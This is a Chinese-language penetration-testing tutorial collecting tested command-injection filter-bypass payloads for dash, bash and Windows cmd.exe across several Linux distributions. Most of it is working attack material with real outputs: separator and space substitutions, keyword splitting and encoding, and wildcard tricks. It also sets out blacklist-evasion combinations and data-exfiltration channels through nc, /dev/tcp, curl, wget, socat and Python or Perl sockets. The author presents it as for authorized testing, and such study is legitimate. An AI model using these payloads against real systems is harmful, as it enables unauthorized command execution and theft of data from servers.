命令执行是渗透里最值钱的一环,也是最容易被一个糙过滤器挡住的环节。这篇文章不讲思路讲结果——下面每一条 payload 都在真实机器上跑过,命令输出原样贴出,跑不通的写法也一并列出,免得你在目标机上浪费时间。
本文测试环境:
/bin/sh 指向 dash/bin/sh 指向 dash/bin/sh 指向 bash/bin/sh 指向 bash/bin/sh -c "<payload>",Windows 侧统一用 cmd.exe /c "<payload>",与 PHP system()、ASP.NET Process.Start 的真实调用方式一致本文所有技术仅用于已获授权的渗透测试、靶场练习与自身系统加固。文中 Windows 输出里的主机名与用户名做了替换,其余字符未改动。
很多师傅背了一堆 payload 命令,换台机器就不知道咋搞了(虽然现在有AI,但是原理还是必须会),原因只有一个:一直在拿 bash 的结论去套 dash。
PHP 的 system()、exec()、shell_exec()、passthru() 最终都调 popen(),而 popen() 固定用 /bin/sh -c。/bin/sh 是什么,决定了你的 payload 能不能活。
ls -l /bin/shUbuntu 24.04 的实测结果:
lrwxrwxrwx 1 root root 4 Mar 31 2024 /bin/sh -> dashDebian 默认也是 dash。而 CentOS、RHEL 这类 RHEL 系发行版,/bin/sh 通常指向 bash,行为立刻不同。所以动手前先跑这一条,比背十个 payload 有用。
后面你会发现,$'\x77'、${a:0:4}、${IFS:0:1}、{cat,/etc}、<<< 这一整批写法在 Ubuntu 和 Debian 上全军覆没,就是因为它们在 dash 里根本不存在。
而第四章那台 TencentOS,/bin/sh 直接就是 bash,同一批写法全部可用——这不是玄学,是同一条规则的两面。
同一个注入点,能用哪种分隔符,决定了你能不能一次干完多件事。
写法 | payload | 实测 rc | 实测输出 |
|---|---|---|---|
分号 | id;whoami | 0 | uid=0(root) gid=0(root) groups=0(root) + root |
与 | id&&whoami | 0 | 同分号 |
或 | id\|\|whoami | 0 | 只有 uid=0(...) |
管道 | id\|whoami | 0 | 只有 root |
后台 | id&whoami | 0 | root 与 uid=... 顺序不定 |
换行 | id 换行 whoami | 0 | 同分号 |
逐条说清差别:
分号是最省事的,前一条失败也照跑:
nosuchcmd;whoami
# sh: 1: nosuchcmd: not found
# root与要求前一条成功,否则整条链断掉:
nosuchcmd&&whoami
# sh: 1: nosuchcmd: not found
# rc=127,whoami 没执行或正好相反,前一条成功就不再往后走。这也是为什么用 id||whoami 做探测会误判——id 成功了,whoami 根本没跑。
管道是把左边输出喂给右边。whoami 不读标准输入,所以 id|whoami 只吐出 root,id 的结果被丢掉了。想拿两段结果就换成 ;。
后台符会并发,两段输出的先后顺序不固定,同一台机器连跑几次都不一样:
id&whoami
# root
# uid=0(root) gid=0(root) groups=0(root)换行在 shell 里等价于分号,这一点在 HTTP 层特别有用,因为 %0a 往往不在过滤器黑名单里。
不成立的分隔符,同样值得记住:
id;&whoami # sh: Syntax error: "&" unexpected bash: syntax error near unexpected token `;&'
nosuchcmd|&whoami # sh: Syntax error: "&" unexpected bash: root|& 是 bash 4 引入的写法,意思是把标准错误一起接进管道,dash 完全不认;;& 只在 case 语句里有意义,当分隔符用时两种 shell 都报语法错。用 id|&whoami 去探 Ubuntu 目标,你会以为注入点不存在。
分隔符在 URL 里要经过一次解码才能到达 shell,这一步的坑最多。用真实请求逐一验证:
curl -s "http://127.0.0.1:8899/?c=id%0awhoami"请求里的写法 | 解码后 | 结果 |
|---|---|---|
id%0awhoami | id 换行 whoami | 两条都执行,回显完整 |
id%0d%0awhoami | id\r 换行 whoami | 第一条变成 id\r 报 not found,第二条正常 |
id%09whoami | id 制表符 whoami | 制表符不是分隔符,报 id: 'whoami': no such user |
id%20%3Bwhoami | id ;whoami | 正常执行 |
whoami+%3Bid | whoami ;id | + 解码成空格,正常执行 |
id%0awhoami | id%0awhoami | 二次编码没用,shell 把 %0a 当普通字符 |
两个结论:%0a 是分号的最佳替身;制表符(%09)可以替代空格,但不能替代分隔符,因为 shell 不按制表符切命令,只按它切参数。
过滤器拦空格是最常见的做法,绕法也最多。
payload | 实测输出 | 说明 |
|---|---|---|
cat${IFS}/etc/hostname | sers9OKtP8SXE | 首选,dash/bash 通吃 |
cat$IFS/etc/hostname | sers9OKtP8SXE | 等价 |
cat$IFS$9/etc/hostname | sers9OKtP8SXE | $9 是空位置参数,加它可断开关键字 |
cat</etc/hostname | sers9OKtP8SXE | 重定向,最隐蔽 |
cat 制表符 /etc/hostname | sers9OKtP8SXE | 制表符本身就是 IFS |
{cat,/etc/hostname} | sers9OKtP8SXE | 仅 bash,dash 报 not found |
cat${IFS:0:1}/etc/hostname | sers9OKtP8SXE | 仅 bash,dash 报 Bad substitution |
反例要记牢:
cat%20/etc/hostname # sh: 1: cat%20/etc/hostname: not found
cat\ /etc/hostname # sh: 1: cat /etc/hostname: not found
cat''/etc/hostname # sh: 1: cat/etc/hostname: not found%20 是 URL 编码,shell 不认;\ 转义出来的是一个普通空格字符,只会把两个词粘成一个,不是分隔符;'' 拼接得到的是零宽度字符,同样粘成一个词。
还有一个高频误区,认为 $IFS 可以当分号用:
who${IFS}ami
# rc=0,无输出它确实被展开了,但展开的结果是 who 加参数 ami——who 命令带个非法参数,静默失败。$IFS 只能替代空格,不能替代 ;。
过滤器拦 whoami、cat 这类命令名时,核心思路是让 shell 在解析阶段自己把词拼回去,而过滤器看到的是拼之前的字符串。
payload | 实测输出 |
|---|---|
who""ami | root |
who''ami | root |
who\ami | root |
w\h\o\a\m\i | root |
who$1ami | root |
who$2ami | root |
who$*ami | root |
who$@ami | root |
wh${x}oam${y}i | root |
a=who;b=ami;$a$b | root |
$(echo whoami) | root |
w`echo h`oami | root |
$1、$2、$*、$@ 在非交互场景下都是空值,展开后什么都不剩,正好当胶水。${x} 这种没定义过的变量更好用——它天然是空的,而且看起来完全无害。
反例:
who$0ami
# sh: 1: whoshami: not found$0 是当前 shell 的名字,在 dash 下是 sh,在 bash 下是 bash,拼出来变成 whoshami。这是唯一不能用 $n 系列的场景。
引号还有个硬性规则:必须成对出现,奇数个直接语法错。
w"h"o"a"m"i
# sh: 1: Syntax error: Unterminated quoted string五个双引号,配对失败。改成两两成对就行:
w""h""o""a""m""i
# root? 匹配单个字符,* 匹配任意长度,[] 匹配字符集。前提是必须给出路径,因为通配符只对当前目录和路径做文件名展开,不会去 PATH 里找命令。
payload | 实测输出 |
|---|---|
/usr/bin/whoam* | root |
/usr/bin/whoam? | root |
/usr/bin/????mi | root |
/u?r/b?n/????mi | root |
/*/bin/whoami | root |
/usr/bin/[w]hoami | root |
[w]hoami | — 报 not found |
最后一条是关键坑:[w]hoami 展开时在当前目录找 whoami 文件,找不到就原样保留,然后 shell 拿 [w]hoami 当命令名去 PATH 里找,必然失败。
通配符更大的坑是会匹配到多个文件。这条命令你以为在执行 cat:
/bin/c?t${IFS}/etc/hostname实际 ls -l /bin/c?t 告诉你有两个结果:
-rwxr-xr-x 1 root root 39384 Aug 25 15:09 /bin/cat
-rwxr-xr-x 1 root root 39432 Aug 25 15:09 /bin/cut于是命令展开成 cat cut /etc/hostname,cat 把 cut 这个二进制当文件读了,回显是一屏乱码后面才跟着主机名。用 ? 之前先确认唯一性,或者干脆换成 /usr/bin/ca? 这种能锁死的写法。
被过滤的字符串彻底不能出现时,走编码路线。
Base64 解码后直接交给 shell:
echo d2hvYW1p|base64 -d|sh
# root十六进制还原:
echo 77686f616d69|xxd -r -p|sh
# rootprintf 八进制(dash 可用):
$(printf '\167\150\157\141\155\151')
# rootprintf 十六进制(仅 bash):
在 dash 下这条是无效的,\x77 会被原样输出:
printf '\x77\x68\x6f\x61\x6d\x69'
# dash: \x77\x68\x6f\x61\x6d\x69
# bash: whoami所以 $(printf '\x77...') 在 Ubuntu 上直接报 not found,这个写法只在 /bin/sh -> bash 的机器上成立。
bash 专属的 ANSI-C 引用同样失败:
$'\x77\x68\x6f\x61\x6d\x69'
# sh: 1: $\x77\x68\x6f\x61\x6d\x69: not found字符串反转,适合被当成关键字拦掉的短命令:
echo imaohw|rev
# whoami注意方向别搞反。whoami 反过来是 imaohw,我第一次写成 imahow,输出变成了 wohami,白折腾一轮。
命令能执行但拿不到回显,是实战里最常见的形态。四条通道,都在真实机器上跑通了。
nc 反弹,最直接:
cat /etc/hostname | nc 127.0.0.1 8899接收端实测收到:
sers9OKtP8SXE/dev/tcp,注意这是 bash 特性,dash 不支持:
bash -c "cat /etc/hostname > /dev/tcp/127.0.0.1/8900"接收端同样收到 sers9OKtP8SXE。但如果直接拿 dash 跑,报错很明确:
cat /etc/hostname > /dev/tcp/127.0.0.1/8901
# sh: 1: cannot create /dev/tcp/127.0.0.1/8901: Directory nonexistentHTTP 带外,把结果塞进 URL 查询串,最适合只有出网 80/443 的环境:
curl -s -m 2 "http://127.0.0.1:8902/x?d=$(cat /etc/hostname | tr -d '\n')" >/dev/null服务端访问日志:
GET /x?d=sers9OKtP8SXE HTTP/1.1时间盲,什么通道都没有时的兜底。用 date +%s%N 卡首尾,实测 sleep 4 的端到端耗时是 4008 ms:
S=$(date +%s%N); sh -c 'sleep 4'; E=$(date +%s%N)
echo $(( (E-S)/1000000 ))
# 4008据此可以按字符逐位猜文件内容,一次请求一位,慢但一定能出结果。
遇到过只允许 20 个字符左右的注入点,就不要想着一条命令搞定,分两步:先落地,再执行。
echo d2hvYW1p|base64 -d>a;sh a
# root> 前面不留空格,整条 30 字符。更短的一条只有 19 字符:
>a echo whoami;sh a
# root>a 是重定向的空文件创建,; 之后执行。文件名用一个字母,能再省几个字符。
单项绕过都会被拦,实战永远是叠加。为了验证叠加是否真的有效,我起了一个模拟过滤器,黑名单是:
空格 \t ; & | cat whoami who flag目标读 /etc/hostname。同一批 payload 的通过情况:
payload | 结果 |
|---|---|
cat /etc/hostname | BLOCKED:<sp>,cat |
cat${IFS}/etc/hostname | BLOCKED:cat |
c\at${IFS}/etc/hostname | sers9OKtP8SXE |
c""at${IFS}/etc/hostname | sers9OKtP8SXE |
c'a't${IFS}/etc/hostname | sers9OKtP8SXE |
c[a]t${IFS}/etc/hostname | c[a]t: not found |
x=ca换行y=t换行$x$y${IFS}/etc/hostname | sers9OKtP8SXE |
wh\oami | root |
wh$1oami | root |
/usr/bin/????mi | root |
能看出叠加的规律:空格交给 ${IFS},关键字交给引号或反斜杠,分号交给换行,三样一组合,黑名单全躲过去。
c[a]t 那条失败的原因在 2.5 说过——没有路径,字符集通配不生效。要写就写 /bin/ca[tu] 之类带路径的形式。
同一台机器重装成 Debian 13 之后,我把上面全部用例重跑了一遍。结论可以一句话说完:解析器没变,语法层就不用换字典。
/bin/sh 依然是 dash,所以第二章的每一条规律照搬有效。真正变的是默认装了哪些工具,这会直接卡死你的编码方案和外带通道。
先确认三件事:
cat /etc/os-release | head -2
# PRETTY_NAME="Debian GNU/Linux 13 (trixie)"
# NAME="Debian GNU/Linux"
ls -l /bin/sh
# lrwxrwxrwx 1 root root 4 Feb 4 2025 /bin/sh -> dash
echo $BASH_VERSION
# 5.2.37(1)-releaseBash 从 5.2.21 升到 5.2.37,dash 没动。决定 payload 命运的是 dash,它没变,结论就不会变。
逐条复跑,输出一致。读文件统一指向 /tmp/probe,内容 CMD-BYPASS-OK:
能力 | 结论 |
|---|---|
分隔符 ;、&&、\|\|、\|、&、%0a | 同 Ubuntu |
空格替代 ${IFS}、$IFS$9、<、制表符 | 同 Ubuntu |
{cat,x}、cat${IFS:0:1} | 同 Ubuntu,同样失败 |
关键字:空引号、反斜杠、$1/$*/$@、${x}、变量拼接、$()、反引号 | 同 Ubuntu |
通配符 *、?、[] | 同 Ubuntu |
base64、printf 八进制、rev | 同 Ubuntu |
长度限制 >a 落地再 sh a | 同 Ubuntu |
组合闯关(同一套黑名单) | 同 Ubuntu,逐条结果一模一样 |
连失败的那两条也一样:
sh -c '{cat,/tmp/probe}'
# sh: 1: {cat,/tmp/probe}: not found
sh -c 'cat${IFS:0:1}/tmp/probe'
# sh: 1: Bad substitution/bin/c?t 依旧撞上 cat 和 cut,坑没变:
ls -l /bin/c?t
# -rwxr-xr-x 1 root root 47592 Jun 4 2025 /bin/cat
# -rwxr-xr-x 1 root root 55752 Jun 4 2025 /bin/cut从 Ubuntu 换到 Debian,命令拼接这一层一个字都不用改。
语法一样,能用的程序不一样。一条命令扫出来:
for t in base64 xxd rev nc socat busybox curl wget perl python3; do
command -v $t >/dev/null && echo "有 $t" || echo "缺 $t"
done工具 | Ubuntu 24.04 | Debian 13 | 影响 |
|---|---|---|---|
xxd | 有 | 缺 | 十六进制还原那条直接废 |
wget | 有 | 缺 | 带外少一条通道 |
busybox | 有 | 缺 | busybox 系列 payload 全部不可用 |
socat | 缺 | 有 | Debian 反而多一条反弹通道 |
nc、curl、base64、rev、perl | 有 | 有 | 不变 |
十六进制还原失效。 这条在 Ubuntu 上回显 root,在 Debian 上直接报错:
echo 77686f616d69|xxd -r -p|sh
# sh: 1: xxd: not found替代方案用 perl 一行,实测可用:
echo 77686f616d69|perl -pe 's/../chr(hex($&))/ge'|sh
# root原理是每两个字符取出来按十六进制转成字节,逐段替换。也可以直接用本来就通用的 printf 八进制,不依赖任何外部程序:
$(printf '\167\150\157\141\155\151')
# rootwget 消失,带外只剩 curl。 这条在 Debian 上直接报废:
sh -c 'wget -qO- http://127.0.0.1:9003/'
# /bin/sh: 1: wget: not foundcurl 正常,把结果塞进查询串就能带走:
curl -s -m 2 "http://127.0.0.1:9003/x?d=$(cat /tmp/probe)" >/dev/null
# 服务端日志: GET /x?d=CMD-BYPASS-OK HTTP/1.1socat 反而多了。 Ubuntu 24.04 上没有这个程序,Debian 13 自带,是一条现成的回连通道:
socat - TCP:127.0.0.1:9002 < /tmp/probe接收端收到 CMD-BYPASS-OK。nc 和 /dev/tcp 的表现与 Ubuntu 一致,后者依旧只在 bash 下成立:
sh -c 'cat /tmp/probe > /dev/tcp/127.0.0.1/9005'
# sh: 1: cannot create /dev/tcp/127.0.0.1/9005: Directory nonexistent时间盲同样可用,sleep 3 实测 3007 ms,判据和 Ubuntu 没有区别。
语法层:不动,直接复用 Ubuntu 那一套
编码层:xxd 换成 perl 一行,或者用 printf 八进制
外带层:wget 换 curl,Debian 上可以额外加 socat一句话记:Ubuntu 和 Debian 是同一套 shell 语法、两套默认软件包。动手前先把工具扫一遍,比盲目试 payload 快得多。
这台是三台里最好打的。原因只有一条:/bin/sh 就是 bash。
前面两章在 Ubuntu 和 Debian 上「全军覆没」的那批写法,到这里全部复活;再叠加 bash 独有的参数展开,能凑出的绕过手段比 dash 环境多一个量级。反过来,这台默认没有 nc、socat、perl、busybox,带外要换思路。
cat /etc/os-release | head -4
# NAME="TencentOS Server"
# VERSION="4.2"
# ID="tencentos"
# ID_LIKE="tencentos"
uname -r
# 6.6.30-4.tl4.x86_64
ls -l /bin/sh
# lrwxrwxrwx. 1 root root 4 Mar 11 2024 /bin/sh -> bash关键的第二条:
/bin/sh -c 'echo $BASH_VERSION'
# 5.2.15(1)-release
/bin/sh -c 'set -o | grep posix'
# posix on/bin/sh 是 bash 的软链,以 sh 身份启动时进入 POSIX 模式。很多人以为 POSIX 模式会把 bash 特性砍掉,实测并非如此——大括号展开、参数切片、$''、herestring、|& 全都还在。这一点决定了这一章能写多长。
工具集扫一遍:
for t in base64 xxd od hexdump rev nc socat busybox perl curl wget python3 gawk openssl; do
command -v $t >/dev/null && echo "有 $t" || echo "缺 $t"
done有 | 缺 |
|---|---|
base64、xxd、od、hexdump、rev | nc、ncat、socat |
curl、wget、openssl、rsync、iconv | perl、busybox、telnet |
python3、gawk、awk、sed、tr、cut |
SELinux 状态是 Disabled。
先看冲突最直接的八条,同一批 payload 三台机器的结果:
payload | Ubuntu / Debian(dash) | TencentOS(sh→bash) |
|---|---|---|
{cat,/etc/hostname} | not found | ser565326433348 |
cat${IFS:0:1}/etc/hostname | Bad substitution | ser565326433348 |
a=whoami;${a:0:4}${a:4:2} | Bad substitution | root |
$'\x77\x68\x6f\x61\x6d\x69' | not found | root |
$(printf '\x77\x68\x6f\x61\x6d\x69') | not found | root |
echo hi > /dev/tcp/127.0.0.1/9 | Directory nonexistent | 正常发起连接 |
rev <<< imaohw | Syntax error: redirection unexpected | whoami |
id\|&whoami | Syntax error: "&" unexpected | root |
同一份字典,在 Ubuntu 上有一半是废的,在这台上全活。 这就是为什么第一章要先跑 ls -l /bin/sh。
下面按「让过滤器看不到关键字」的思路分组,每条都在机器上跑过。
x=whoami;${x:0:4}${x:4:2}
# root
x=WHOAMI;echo ${x,,}
# whoami
x=whoXmi;echo ${x/X/a}
# whoami
x=y;y=whoami;${!x}
# root
a=(whoami);${a[0]}
# root
x=/usr/bin/whoami;${x##*/}
# root这六条各有各的用处:
${x:0:4}${x:4:2} 把命令名切成两半再拼回,payload 里没有完整字符串${x,,} 大小写翻转是最阴的一条——过滤器拦 whoami,但 payload 里写的是 WHOAMI,落地时被翻转成小写${x/X/a} 字符替换,同理构造 whoXmi 再替换掉 X${!x} 两级间接引用,命令名连字符都不出现,payload 里只有一个 x${a[0]} 数组下标,实测在 POSIX 模式下依然可用${x##*/} 去掉路径前缀,配合绝对路径用${PATH:0:1} 造斜杠管道符和关键字都能编码,但 / 往往漏掉。bash 可以把 PATH 的第一个字符取出来当斜杠:
echo ${PATH:0:1}
# /拼成完整命令,一条 payload 里没有斜杠、没有空格、没有关键字:
${PATH:0:1}bin${PATH:0:1}cat${IFS}${PATH:0:1}etc${PATH:0:1}hostname
# ser565326433348$'...' 这台能用,但有个坑要先记住:
$'\x63\x61\x74'$'\x20'/etc/hostname
# sh: line 1: cat /etc/hostname: No such file or directory$'\x20' 确实产出一个空格字符,但它和前后拼成同一个词,整条变成一个含空格的文件名。要断开就得用 ${IFS}:
$(printf '\x63\x61\x74')${IFS}/etc/hostname
# ser565326433348把整条命令十六进制化,连 cat、/、空格都不出现:
printf '\x63\x61\x74\x20\x2f\x65\x74\x63\x2f\x68\x6f\x73\x74\x6e\x61\x6d\x65\n'|sh
# ser565326433348算术和 printf 配合,可以逐字符拼出任意命令:
echo $((0x77))
# 119
printf "\\$(printf '%o' $((0x77)))"
# w还有更省事的,echo -e 直接解转义:
echo -e '\x77\x68\x6f\x61\x6d\x69'
# whoami这台没有 perl,但有 gawk 和 python3。当过滤器只盯 shell 元字符(;、|、`、$)时,下面这些完全不触发——因为命令是在别的进程里被调起来的:
awk 'BEGIN{system("whoami")}'
# root
python3 -c "import os;print(os.popen('whoami').read())"
# root
find /etc/hostname -exec cat {} \;
# ser565326433348
xargs -a /etc/hostname
# ser565326433348
sed -n '1p' /etc/hostname
# ser565326433348find -exec 和 xargs 尤其值得记:它们本身就在执行外部程序,payload 里连管道符都不用。
$_set -- whoami; $1
# root
echo whoami; $_
# whoami
# root
x=whoami; $x
# root$_ 保存上一条命令的最后一个参数。echo whoami;$_ 整条 payload 里只有 echo 一个命令名,whoami 是当参数传进去的。
nc、socat、perl 全部缺失,传统的 cat /flag|nc ip port 直接报废。但 /dev/tcp 是 bash 内建,而这台的 sh 就是 bash,所以不用再套一层 bash -c。
五条通道逐条实测,接收端都起了本地监听:
通道 | Ubuntu | Debian | TencentOS |
|---|---|---|---|
nc | 有 | 有 | 缺 |
socat | 缺 | 有 | 缺 |
/dev/tcp(sh 直接用) | 需套 bash -c | 需套 bash -c | 可直接用 |
curl | 有 | 有 | 有 |
wget | 有 | 缺 | 有 |
python3 socket | 有 | 有 | 有 |
实测命令与接收端回显:
cat /tmp/mk > /dev/tcp/127.0.0.1/9201
# RECV: TENCENT-MARKER
exec 3<>/dev/tcp/127.0.0.1/9202; echo TENCENT-MARKER >&3; exec 3>&-
# RECV: TENCENT-MARKER
curl -s -m 3 "http://127.0.0.1:9203/x?d=$(cat /tmp/mk)" >/dev/null
# RECV: GET /x?d=TENCENT-MARKER HTTP/1.1
wget -q -T 3 -O- "http://127.0.0.1:9204/x?d=$(cat /tmp/mk)" >/dev/null 2>&1
# RECV: GET /x?d=TENCENT-MARKER HTTP/1.1
python3 -c "import socket;s=socket.socket();s.connect(('127.0.0.1',9205));s.send(open('/tmp/mk','rb').read())"
# RECV: TENCENT-MARKERexec 3<> 那条单独拎出来说:它只建立一次连接,后续可以反复 >&3 写入,不用每条命令重连,适合在交互式会话里持续取数据。
同一套过滤器(拦空格、制表符、;、&、|、cat、whoami、who、flag、base64),目标 /tmp/mk:
payload | 结果 |
|---|---|
cat /tmp/mk | BLOCKED:<sp>,cat |
cat${IFS}/tmp/mk | BLOCKED:cat |
c\at${IFS}/tmp/mk | TENCENT-MARKER |
{cat,/tmp/mk} | BLOCKED:cat |
$'\x63\x61\x74'${IFS}/tmp/mk | TENCENT-MARKER |
$(printf "\x63\x61\x74")${IFS}/tmp/mk | BLOCKED:<sp> |
${PATH:0:1}bin${PATH:0:1}????mi | root |
wh$@oami | root |
x=whoami;$x | BLOCKED:;,whoami,who |
a=who""ami;$a | BLOCKED:;,who |
看最后几行:${PATH:0:1}bin${PATH:0:1}????mi 是这台最干净的一条——没有空格、没有斜杠、没有 cat/whoami 的任何片段,斜杠靠 PATH 首字符现取,命令名靠 ? 通配。
注意大括号 {cat,/tmp/mk} 虽然语法上能用,但里面明写着 cat,过滤器照样拦。语法可用不等于绕过可用,这是两件事。
Ubuntu / Debian:改 payload 之前先看 /bin/sh 是不是 dash
TencentOS:bash 全功能,手法最多,字典里的 bash 招式全拿出来
但没 nc,带外首选 /dev/tcp,其次 curl / wget三台机器横向排下来,绕过难度是递减的:dash 环境要处处避坑,bash 环境只需要躲过滤器。
/bin/sh 同样是 bash,但版本是 4.2.46,比 TencentOS 的 5.2.15 老了三代(4.2 → 4.3 → 4.4 → 5.0)。
所以结论是:第四章那套手法基本照搬,但要少用四个新式展开。会踩的坑不在语法结构上,全在 bash 的版本边界上。
cat /etc/centos-release
# CentOS Linux release 7.6.1810 (Core)
uname -r
# 3.10.0-1160.119.1.el7.x86_64
ls -l /bin/sh
# lrwxrwxrwx. 1 root root 4 Aug 7 2020 /bin/sh -> bash
/bin/sh -c 'echo $BASH_VERSION'
# 4.2.46(2)-release
/bin/sh -c 'set -o | grep posix'
# posix onSELinux 是 Disabled,firewalld 没装。glibc 2.17,属于相当老的底子。
工具集:
有 | 缺 |
|---|---|
base64、xxd、od、hexdump、rev | nc、ncat、socat、busybox |
curl、wget、openssl、iconv、rsync | |
perl、python(2.7)、python3、gawk、awk、sed | |
yum、rpm |
注意这台同时有 perl 和 python2,TencentOS 上这两样都没有。
58 条基础用例跑下来,57 条逐字节一致,唯一不同的那条是 payload 里顺手执行了 w 命令,输出带着时间戳,跟绕过无关。
也就是说第四章 4.3 那一整节在这里原样可用,不用改一个字:
手法 | CentOS 7.6 实测 |
|---|---|
{cat,/etc/hostname} | VM-0-12-centos |
cat${IFS:0:1}/etc/hostname | VM-0-12-centos |
a=whoami;${a:0:4}${a:4:2} | root |
a=WHOAMI;${a,,} | whoami |
${!x} 两级间接 | root |
a=(w h o);${a[1]} | h |
$'\x77\x68\x6f\x61\x6d\x69' | root |
echo -e '\x77\x68\x6f\x61\x6d\x69' | whoami |
${PATH:0:1}bin${PATH:0:1}????mi | root |
echo whoami;$_ | whoami 加 root |
id\|&whoami | root |
rev <<< imaohw | whoami |
一句话:bash 环境的手法,CentOS 7.6 不用改。
四个 4.3 之后才有的展开操作符,在这台上直接报错:
写法 | 引入版本 | TencentOS(5.2) | CentOS 7.6(4.2) |
|---|---|---|---|
declare -n r=x;$r | 4.3 | root | declare: -n: invalid option |
${x@Q} | 4.4 | 'whoami' | ${x@Q}: bad substitution |
${x@E} | 4.4 | whoami | bad substitution |
${x@U} | 5.0 | WHOAMI | bad substitution |
报错原文:
/bin/sh -c 'x=whoami;declare -n r=x;$r'
# /bin/sh: line 0: declare: -n: invalid option
# declare: usage: declare [-aAfFgilrtux] [-p] [name[=value] ...]
/bin/sh -c 'x=whoami;echo ${x@Q}'
# /bin/sh: ${x@Q}: bad substitution好消息是这四个本来就不常用——${x@Q} 只是加引号,${x@E} 是展开转义,用得上的场合极少。真正好用的那几个在 4.2 里全都在:
写法 | 实测 |
|---|---|
${x^} 首字母大写 | Whoami |
${x,,} 全小写 | whoami |
${x//a/A} 全局替换 | whoAmi |
${x:0:2}${x:2:4} 切片 | whoami |
${x: -1} 负偏移 | i |
${!BASH*} 变量前缀 | BASH BASHOPTS … |
a=(w h o);${a[1]} 数组 | h |
mapfile -t | 正常 |
printf -v c 'whoami';$c | root |
exec {fd}>/dev/null | fd=10 |
coproc | 正常 |
&>> | 正常 |
$'\u0061\u0062' | ab |
判断目标机器属于哪一档,一条命令就够:
sh -c 'echo ${BASH_VERSINFO[0]}.${BASH_VERSINFO[1]}'小于 4.3 就绕开 declare -n,小于 4.4 就绕开 @Q/@E,小于 5.0 就绕开 @U。
这台有 perl,TencentOS 没有,于是多两条路。
perl 当跳板:
perl -e 'system("whoami")'
# root
perl -e 'print `cat /etc/hostname`'
# VM-0-12-centospython2 也在,写法比 py3 别扭一点,但同样能起:
python -c "import os;os.system('cat /etc/hostname')"
# VM-0-12-centospython 在这台指向 2.7,print 还是语句不是函数,照抄 py3 的 payload 会报语法错,注意区分。
nc / socat / busybox 全缺,但 /dev/tcp 因为 sh 就是 bash,可以直接用。四条通道都起了本地监听,收到的都是 CENTOS-MARKER:
cat /tmp/mk > /dev/tcp/127.0.0.1/9401
# RECV1: CENTOS-MARKER
curl -s -m 3 "http://127.0.0.1:9402/x?d=$(cat /tmp/mk)" >/dev/null
# RECV2: GET /x?d=CENTOS-MARKER HTTP/1.1
wget -q -T 3 -O- "http://127.0.0.1:9403/x?d=$(cat /tmp/mk)" >/dev/null 2>&1
# RECV3: GET /x?d=CENTOS-MARKER HTTP/1.1
perl -e 'use IO::Socket;my $s=IO::Socket::INET->new(PeerAddr=>"127.0.0.1:9404");print $s "CENTOS-MARKER";'
# RECV4: CENTOS-MARKER最后那条是这台独有的:TencentOS 没有 perl,这条在那边跑不了。当 curl 和 wget 都被删掉时,perl 的 IO::Socket 就是最后的通道。
顺带一句,这台还有 yum:
yum install -y nmap-ncat能出网的话,一条命令就把 nc 装回来了,比硬编码 /dev/tcp 舒服。不过实战里装包会留痕,看场景取舍。
同一套过滤器(拦空格、制表符、;、&、|、cat、whoami、who、flag、base64),结果与 TencentOS 完全重合:
payload | 结果 |
|---|---|
cat /tmp/mk | BLOCKED:<sp>,cat |
cat${IFS}/tmp/mk | BLOCKED:cat |
c\at${IFS}/tmp/mk | CENTOS-MARKER |
{cat,/tmp/mk} | BLOCKED:cat |
$'\x63\x61\x74'${IFS}/tmp/mk | CENTOS-MARKER |
${PATH:0:1}bin${PATH:0:1}????mi | root |
x=whoami;declare -n r=x;$r | BLOCKED |
${PATH:0:1}bin${PATH:0:1}????mi 依然是这台上最干净的一条。
Ubuntu 24.04 | Debian 13 | TencentOS 4.2 | CentOS 7.6 | |
|---|---|---|---|---|
/bin/sh | dash | dash | bash | bash |
bash 版本 | 5.2.21 | 5.2.37 | 5.2.15 | 4.2.46 |
手法档位 | 保守 | 保守 | 全开 | 全开减四 |
{cat,x} | 不可用 | 不可用 | 可用 | 可用 |
${x,,} | 不可用 | 不可用 | 可用 | 可用 |
declare -n | 不可用 | 不可用 | 可用 | 不可用 |
${x@Q} | 不可用 | 不可用 | 可用 | 不可用 |
带外首选 | nc | nc / socat | /dev/tcp | /dev/tcp / perl |
脚本解释器 | perl、python3 | perl、python3 | python3、gawk | perl、python2、python3 |
绕过的难度大致是:Ubuntu / Debian 要处处避坑,TencentOS 只需要躲过滤器,CentOS 7.6 在两者之间——躲完过滤器还得看一眼 bash 版本。
Windows 的解析器是 cmd.exe,规则和 shell 完全是两套。它有几个特性特别适合绕过:大小写不敏感、引号随便塞、^ 可以吃掉一个字符、() 能包任意层。
不区分,直接换大小写就能过一批只做小写匹配的过滤器:
WHOAMI
WhoAmI实测输出一致。
" 在 cmd 里只要成对,就会被解析器吃掉,不参与命令名匹配。
wh""oami
wh""""""""""""oami
who"a"mi
wh"oami四条全部正常执行。注意最后一条 wh"oami——它不是「奇数引号」,而是 wh 加上被引号包住的 oami,成对了,所以能跑。
引号必须成对,这是 cmd 和 shell 共通的铁律。
^ 的作用是让下一个字符失去特殊含义。放在命令名中间,它自己会被吃掉:
whoa^mi # 正常执行
who^a^m^i # 正常执行但不能连用两个 ^:
whoam^^i
# 'whoam^i' 不是内部或外部命令,也不是可运行的程序第一个 ^ 把第二个 ^ 转义了,剩下的 whoam^i 就是字面命令名。
引号和 ^ 混用时,引号数量仍然必须为偶数:
who""a^mi # 正常执行
who"a^mi # 'who"a^mi' 不是内部或外部命令带参数的命令同理。这条失败:
n^et" user
# 'net" user' 不是内部或外部命令改成双引号就通了:
n^et"" user实测输出:
\\<HOST> 的用户账户
-------------------------------------------------------------------------------
Administrator DefaultAccount Guest
WDAGUtilityAccount <USER>
命令成功完成。() 用来包裹命令,层数没有上限,输出不变:
(whoami)
(((whoami)))组合起来,(n^et"" user) 一样能跑。括号的价值在于改变 cmd 的解析顺序,很多时候过滤器把 ( 当无害字符,正好可以利用。
写法 | payload | 结果 |
|---|---|---|
& | whoami&whoami | 两条都执行 |
&& | whoami&&whoami | 两条都执行 |
\| | whoami\|whoami | 只出一条 |
\|\| | whoami\|\|whoami | 只出一条 |
; | whoami;whoami | 报错,不是分隔符 |
; 那条报错信息值得看一眼:
错误: 无效参数/选项 - ';whoami'。;whoami 被当成 whoami 的参数整个传进去了,说明 cmd 压根没有分号分隔符。拿 ; 去探 Windows 目标,会漏掉真实存在的注入点。
这是 Windows 最有杀伤力的一块,因为过滤器看到的永远是变量名,不是命令。
先看一个真实踩过的坑。下面这条没能执行:
set cmd1=who & set cmd2=ami & call %cmd1%%cmd2%
# 'who' 不是内部或外部命令报错是 who,不是 whoami。原因在 set cmd1=who 这里——等号后面到 & 之间的空格被算进了变量值,cmd1 实际是 "who ",拼出来变成 who ami。
